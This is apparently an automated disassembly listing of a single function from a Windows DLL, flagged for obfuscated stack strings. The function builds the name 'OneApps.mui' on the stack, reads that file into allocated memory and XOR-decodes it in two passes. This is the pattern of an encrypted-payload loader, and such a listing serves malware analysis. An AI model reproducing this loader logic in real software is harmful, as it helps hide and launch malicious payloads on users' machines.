Function at 0x180002000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x258
mov rax, qword [0x18005a028]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov dword [rsp + 0x44], 0
mov dword [rsp + 0x50], 0
mov r8d, 0x190
lea rdx, [rsp + 0xb0]
mov rcx, qword [0x18005c528]
call qword [0x18005c3f8]
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0
jge 0x18000206d
movsxd rax, dword [rsp + 0x54]
cmp rax, 0x190
jbe 0x18000206d
lea rcx, str.Resource_is_Null
call fcn.180001220
jmp 0x180002331
mov eax, dword [rsp + 0x54]
dec eax
mov dword [rsp + 0x4c], eax
jmp 0x180002083
mov eax, dword [rsp + 0x4c]
dec eax
mov dword [rsp + 0x4c], eax
movsxd rax, dword [rsp + 0x4c]
movsx eax, byte [rsp + rax + 0xb0]
cmp eax, 0x5c
jne 0x1800020cc
mov eax, dword [rsp + 0x4c]
inc eax
cdqe
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0x190
jae 0x1800020b5
jmp 0x1800020ba
call fcn.180006450
mov rax, qword [rsp + 0x80]
mov byte [rsp + rax + 0xb0], 0
jmp 0x1800020ce
jmp 0x180002079
lea rcx, [rsp + 0xb0]
call qword [0x18005c4e0]
mov byte [rsp + 0xa0], 0x4f
mov byte [rsp + 0xa1], 0x6e
mov byte [rsp + 0xa2], 0x65
mov byte [rsp + 0xa3], 0x41
mov byte [rsp + 0xa4], 0x70
mov byte [rsp + 0xa5], 0x70
mov byte [rsp + 0xa6], 0x73
mov byte [rsp + 0xa7], 0x2e
mov byte [rsp + 0xa8], 0x6d
mov byte [rsp + 0xa9], 0x75
mov byte [rsp + 0xaa], 0x69
mov byte [rsp + 0xab], 0
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0xb0]
call qword [0x18005c470]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], DAD_DragMove
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
lea rcx, [rsp + 0xb0]
call qword [0x18005c448]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0xffffffffffffffff
jne 0x180002196
jmp 0x180002331
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [0x18005c450]
mov dword [rsp + 0x50], eax
movsxd rax, dword [rsp + 0x50]
mov r9d, 4
mov r8d, 0x1000
mov rdx, rax
xor ecx, ecx
call qword [0x18005c430]
mov qword [0x18005c538], rax
mov dword [rsp + 0x98], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x50]
mov rdx, qword [0x18005c538]
mov rcx, qword [rsp + 0x60]
call qword [0x18005c458]
mov rcx, qword [rsp + 0x60]
call qword [0x18005c460]
mov eax, dword [rsp + 0x44]
mov dword [0x18005c530], eax
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0x44], eax
je 0x18000221e
jmp 0x180002331
mov dword [rsp + 0x68], 0x12fa3
mov rax, qword [0x18005c538]
mov qword [rsp + 0x88], rax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x6c], eax
mov dword [rsp + 0x40], 0
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x58], eax
jmp 0x180002259
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x6c]
cmp dword [rsp + 0x40], eax
jge 0x180002299
movsxd rax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x88]
movsx eax, byte [rcx + rax]
mov ecx, dword [rsp + 0x58]
add ecx, 0x40
xor eax, ecx
movsxd rcx, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x88]
mov byte [rdx + rcx], al
mov eax, dword [rsp + 0x58]
inc eax
mov dword [rsp + 0x58], eax
jmp 0x18000224f
mov dword [rsp + 0x70], 0x22c09
mov rax, qword [0x18005c538]
mov qword [rsp + 0x90], rax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x74], eax
mov dword [rsp + 0x48], 0
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x5c], eax
jmp 0x1800022d4
mov eax, dword [rsp + 0x48]
inc eax
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x74]
cmp dword [rsp + 0x48], eax
jge 0x180002325
movsxd rax, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x90]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x5c]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
mov ecx, dword [rsp + 0x78]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x48]
mov rdx, qword [rsp + 0x90]
mov byte [rdx + rcx], al
mov eax, dword [rsp + 0x5c]
inc eax
mov dword [rsp + 0x5c], eax
jmp 0x1800022ca
lea rcx, [0x18005201c]
call fcn.180001220
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.180006300
add rsp, 0x258
ret